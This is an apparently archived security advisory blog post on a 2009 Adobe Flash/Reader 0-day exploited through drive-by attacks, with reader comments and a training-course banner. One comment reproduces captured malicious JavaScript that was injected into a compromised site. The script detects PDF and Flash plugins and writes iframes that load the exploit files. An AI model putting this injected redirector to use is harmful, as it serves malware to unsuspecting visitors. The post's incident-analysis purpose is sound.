My next class:
Web App Penetration Testing and Ethical HackingAmsterdamMar 31st - Apr 5th 2025

YA0D (Yet Another 0-Day) in Adobe Flash player

Published: 2009-07-22. Last Updated: 2009-07-23 20:13:23 UTC
by Bojan Zdrnja (Version: 4)
3 comment(s)

Well, it looks like the last two weeks have definitely been marked by multiple 0-day exploits actively used in the wild.
The last one exploits a vulnerability in Adobe Flash player (versions 9 and 10) as well as Adobe Reader and Acrobat 9.1.2. Besides being a 0-day there are some other interesting things about this exploit.

First, several AV companies reported that they detected this 0-day exploit in PDF files, so at first it looked like an Adobe Reader vulnerability. However, the vulnerable component is actually the Flash player or, better said, the code used by the Flash player which is obviously shared with Adobe Reader/Acrobat. This increases the number of vectors for this attack: the malicious Flash file can be embedded in PDF documents which will cause Adobe Reader to execute it OR it can be used to exploit the Flash player directly, making it a drive-by attack as well.

And indeed, when tested with Internet Explorer and the latest Flash player (version 10), the exploit silently drops a Trojan and works "as advertised". Another interesting thing I noticed is that the Trojan, which is downloaded in the second stage, is partially XOR-ed – the attackers probably did this to evade IDSes or AV programs scanning HTTP traffic. At the moment, the detection for both the exploit and the Trojan is pretty bad (only 7/41 for the Trojan, according to VirusTotal).

It appears that even when JavaScript support is disabled in Adobe Reader that the exploit still works, so at the moment there are no reliable protection mechanisms (except not using Adobe Reader?). Regarding Flash, NoScript is your best help here, of course.

(FIXED: the VT link pointed to a wrong file)

UPDATE:

At the moment there is a low number of malicious sites serving the exploit, but we confirmed that the links have been injected in legitimate web sites to create a drive-by attack, as expected.
It appears that the attackers created two different shellcodes as well, one for Firefox users (still have to confirm this) and the other for Internet Explorer users (this one is confirmed to work).

UPDATE 2 (by John Bambenek):

Adobe has released an advisory on the issue here. They claim they'll have a patch ready around July 30-31.

UPDATE 3 (by Bojan):

There has been a lot of chatter about this vulnerability, and a lot of incorrect/incomplete information about various mitigation options so I wanted to clear some things.

First of all, the only mitigation option is the one listed in Adobe's security advisory posted above – you can't mitigate this attack with any options in Adobe Reader (some blogs posted instructions for modifying Trust options under Multimedia Trust, but this related only to legacy players and will not stop this exploit from executing).

Besides removing files, our PDF expert Didier Stevens found a quick and dirty hack by using a hex editor on AcroRd32.dll and replacing the RichMedia instance (into Richmedia, for example). The exploits seen in the wild use the /RichMedia annotation so this effectively stops them.

There has been a lot of chatter about another alleged 0-day exploit for Adobe Reader, a file called hereEvil.pdf (MD5: 7cf5e503c2b92e1c154ec53808466d7c). While this file is dangerous, it does not exploit the SWF 0-day (indeed, it contains no RichMedia annotations). Also, while testing this file I was not able to confirm that it successfully exploits Adobe Reader 9.1.0 as mentioned on some mailing lists (it certainly doesn't work against Adobe Reader 9.1.2).

Finally, some (at least for now) good news – the Flash exploit is still not widely used it appears with only couple of sites serving it.
Unfortunately, Adobe didn't give us a lot of mitigation options in their advisory (or actually any!) for the Flash player which is, in my opinion, the real issue here since it allows for fully automated drive-by attacks. Besides NoScript mentioned above, there is another nice addon for Firefox called Flashblock which can help in preventing Flash movies from loading in your browser. This should help as a band aid since we have to wait till next Thursday for Adobe to release the patch!

Some extras: Julia Wolf from FireEye wrote a really nice article about how Actionscript can be used to spray the heap (instead of JavaScript -- this is why turning off JavaScript will not protect you) as well as about some differences in those two shellcodes I mentioned yesterday. You can read the article at FireEye's blog.

--
Bojan
 

Keywords: 0day adobe flash
3 comment(s)
My next class:
Web App Penetration Testing and Ethical HackingAmsterdamMar 31st - Apr 5th 2025

Comments

I have a ??, has anyone checked the effects Global Privacy Settings may have.I have max sec and always use no script. Changing some of these settings may help with Flash in Acrobat.
Some of the setting I have found helpful...
1. None for storing information on your computer.
2. Do not allow thrid party flash content to store data on your computer.
3. Do not store common flash components.
4. Deny other sites from accessing information from other sites using an older system security.
5. Do not allow access to input, cam, mic, etc.
6. Web site storage settings to none.

At the very least you should get a message when downloading content or the attempt to download and you can deny but still access the PDF, just not the media.

Access the Setting manager...
http://www.macromedia.com/support/documentation/en/flashplayer/help/

Just a ??
I have this on multiple sites. I did not catch the exploit event on the site as it was a shared server but it traversed my entire html tree and added iframe code to all of my landing pages (html and php). The obfuscated code calls out to a server in china and checks the browser. here is a capture launched from firefox:
##script##

function LWrite(sCn)
{
document.write(sCn);
}

if(navigator.userAgent.indexOf('MSIE') != -1)
{
PDF = new Array('AcroPDF.PDF', 'PDF.PdfCtrl');

for(i in PDF)
{
try
{
obj = new ActiveXObject(PDF[i]);

if (obj)
{
LWrite('<iframe src=hereEvil.pdf></iframe>');
}
}

catch(e){}
}

try
{
obj = new ActiveXObject('ShockwaveFlash.ShockwaveFlash');

if (obj)
{
LWrite('<iframe src=sinceDummyMiddle.swf></iframe>');
}
}

catch(e){}
}

else
{
for(i = 0; i <= navigator.plugins.length; i++)
{
var plugin = navigator.plugins[i].name;

if((plugin.indexOf('Adobe Acrobat') != -1) || (plugin.indexOf('Adobe PDF') != -1))
{
LWrite('<iframe src=hereEvil.pdf></iframe>');
}

if(plugin.indexOf('Flash') != -1)
{
LWrite('<iframe src=sinceDummyMiddle.swf></iframe>');
}
}
}

##/script##


Please stop suggesting FlashBlock as a security tool whenever a Flash vulnerability surface.
It's not reliable for this purpose (and never pretended to be): http://hackademix.net/2008/06/08/block-rick/

Diary Archives